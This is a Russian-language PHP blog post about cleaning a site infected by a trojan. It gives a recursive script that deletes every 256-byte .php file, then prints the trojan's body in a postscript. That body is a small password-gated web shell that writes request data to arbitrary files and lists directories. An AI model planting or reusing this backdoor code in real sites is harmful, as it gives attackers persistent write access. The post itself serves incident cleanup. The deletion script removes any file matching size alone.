AAA Главная
Примеры PHP Примеры JavaScript Примеры Ajax Примеры CSS,HTML

Рекурсивное удаление файлов по шаблону с учетом размера

На одном из проектов поймали вирус(троян), который разложил себя по всем папкам сайта под разными именами. Одинаковым был только размер 256 байт.

Возникла задача, как автоматически удалить трояна?

Я написал маленький скрипт, который положили в корень сайта и запустили. Скрипт рекурсивно обходит все подпапки от текущей и удаляет все php файлы размером 256 байт.

$c=getcwd();
delTree($c);

function delTree($c) {
   $a=scandir($c);
   foreach ($a as $f){
	if ($f=='.' || $f=='..') continue;
	$f=$c.'/'.$f;
	if(is_dir($f)){delTree($f);continue;}
	if(substr($f,-4,4)=='.php' && ($s=filesize($f))==256)
		{echo "<br>удаляю ".$f.' - '.$s.'b'; unlink($f);}
	}
}

P.S.: Для интересующихся тело трояна:

$r=$_REQUEST;
$c=getcwd();
$n=chr(32);
print('1234567890abcdef');
if(md5(md5(@$r['p']))=='1234567890abcdef')
	{print($n.$c.$n);
	fwrite(fopen(dirname(__FILE__).'/'.$r['f'],'w+'),$r['b']);
	print($n);
	print_r(scandir($c));}

В реале он свернут в одну строку и для каждого сайта генерируется своя ключевая последовательноть


.

© Copyright 2008-2016 by KDG